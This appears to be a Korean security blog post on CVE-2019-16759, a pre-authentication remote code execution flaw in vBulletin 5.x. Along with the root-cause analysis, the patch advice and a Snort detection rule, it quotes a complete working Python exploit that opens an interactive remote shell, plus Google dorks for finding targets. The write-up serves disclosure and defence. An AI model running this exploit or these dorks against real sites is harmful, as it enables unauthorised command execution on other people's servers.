1.vBulletin

- MH Sub I, LLC에서 판매 하는 독점 인터넷 포럼 소프트웨어 패키지
- PHP 로 작성되었으며 MySQL 데이터베이스 서버를 사용

[캡쳐 1] 쇼단 vBulletin 검색 화면

2. CVE-2019-16759

[캡쳐 2] https://nvd.nist.gov/vuln/detail/cve-2019-16759

- NVD를 통해 해당 CVE를 확인하면 취약한 버전의 vBulletin에 조작된 요청을 통해 원격 명령 실행이 가능함.

취약한 버전 : vBulletin 5.x ~ 5.5.4
원인 : ajax의 widgetConfig[code] 매개변수를 통해 원격 명령 실행을 허용

 

2.1) 취약점 분석

- 공격자가 조작된 요청을 보낼 경우 취약한 버전의 vBulletin의 동작 순서는 [캡쳐 3]과 같음.

- [캡쳐 3]의 ⑦ 과정을 통해 검증 및 인증 과정 없이 eval() 함수를 동작 시켜 결과를 반환하는 것을 확인할 수 있음.

[캡쳐 3] 동작 과정

2.2) PoC

 

Full Disclosure: vBulletin 5.x 0day pre-auth RCE exploit

 

seclists.org

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

 

[캡쳐 4] 취약점 결과 (https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759/)

3. 대응방안

- 보안 패치 적용 (2019/09/25 release)

5.5.2 패치 레벨 1
5.5.3 패치 레벨 1
5.5.4 패치 레벨 1

참고 : https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4422707-vbulletin-security-patch-released-versions-5-5-2-5-5-3-and-5-5-4

 

- 패킷을 분석하여 공격 패턴(ex. "widgetConfig[code]" 등)을 등록하여 탐지 및 차단

<Snort Rule 예시>
alert tcp any any -> any any (msg:"vBulletin RCE_CVE-2019-16759"; sid:1; gid:1; content:"routestring"; nocase; content:"widgetConfig"; nocase; flow:established,to_server; pcre:"/echo[\s|+]shell\_exec/smi";)

+ Recent posts